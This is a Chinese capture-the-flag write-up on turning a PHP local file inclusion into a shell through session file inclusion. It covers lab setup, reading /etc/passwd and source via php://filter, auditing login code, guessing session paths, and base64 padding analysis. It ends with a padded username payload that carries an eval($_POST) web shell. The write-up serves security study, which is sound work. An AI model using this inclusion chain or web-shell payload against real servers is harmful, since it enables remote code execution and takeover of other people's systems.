一道session文件包含题

目录

环境说明

session文件包含getshell

审计源码

session包含

base64在session中的解码分析

---

题目：

链接：https://pan.baidu.com/s/1Q0BN08b8gWiVE4tOnirpTA?pwd=cate 
提取码：cate

环境说明

这里我用的是linux，也可以用phpstudy，但到时候包含session的时候可能会出现问题，最好用linux

基础环境

centos7

nginx1.20.2

php5.6

mysql5.7

基础环境自行搭建，这里不再多说，还需要进mysql创建数据库，创建表

create database web;
use web;
create table user(
username varchar(150),
password varchar(150)
);

环境搭建好后访问，随意创建一个用户，查看session是否正常，数据库是否有数据

session文件包含getshell

session文件包含的条件：

1.知道session在服务器上的存储位置

2.存在本地文件包含漏洞

进入index.php

点击login跳转，发现action参数为login.php，尝试文件包含

尝试包含/etc/passwd，成功包含，确认存在文件包含漏洞

 尝试使用php://filter读取文件源码，可以读取到register.php，login.php，index.php

审计源码

查看index.php源码可以知道，index.php是在判断是否存在session文件，若存在，则显示登录成功，失败就显示login和register界面

register.php部分代码

if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    //php 预编译
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
}

可以看到代码中接收了username和password的值，然后进入数据库查询，如果存在相同的username值就die掉，如果不存在就insert插入user表中

可以看到所有的sql语句都使用了预编译查询，sql注入这条路就走不通了，只能想其他办法

login.php中部分代码

if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();
        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
	}

可以看到也接收了username和password的值，然后查询数据库，对比password的md5值，如果相同，将username进行base64编码，然后存入session中的username字段，所以session中的内容应该是

username|s:x:"xxx"

session包含

然后可以猜测session文件的路径，一般默认会保存在如下几个目录

• /var/lib/php/sess_PHPSESSID

• /tmp/sess_PHPSESSID

• /tmp/sessions/sess_PHPSESSID

这里由于我php的安装方式不同，目录不同于默认路径，然后就是session文件名，session文件名的格式是sess_PHPSESSID，而PHPSESSID可以通过cookie中获取

然后进行包含，显示如下则说明路径正确，包含成功

接下来就可以进行session文件包含了，但输入的username会进行base64编码，那如果可以进行base64解码，再包含这个文件，就可以getshell了，问题是如何进行base64解码？

php://filter就可以解决这个问题

php://filter/read=convert.base64-decode/resource=<session文件路径>

但按照我们之前的说法，此时如果我们直接将username传入<?php phpinfo();?>的话，会出现意料之外的结果 

base64解码后为什么没有按照我们想的那样，显示出phpinfo();呢？

这就涉及到base64的解码规则了 

base64在session中的解码分析

base64的解码规则是4位一解码，去除无效字符，即a-zA-Z，加号，斜杠和等号

而我们知道在session中的内容格式是这样的，最左边的x是字符串的字符数

username|s:x:"xxx"

所以有效字符为 username 8位 + s 1位 + x 1位 = 10位

base64会把这10位解码，但是base64会4位为一组，剩下2位会吃掉我们的<?php phpinfo();?>编码后的值来组成4位，然后再解码，这样我们的编码就乱了

原来是PD9waHAgcGhwaW5mbygpOz8+，被吃掉两位就变成了9waHAgcGhwaW5mbygpOz8+

所以我们要保证前面为4的整数倍，12就可以，所以我们可以让字符串的字符数变为3位数，这样就变成了12，要变成3位数就必须让字符数超过100但不能超过1000，所以我们传入username的值如下

catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php phpinfo();?>

然后包含即可

然后传入一句话getshell

catecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecatecate<?php eval($_POST[pass]);?>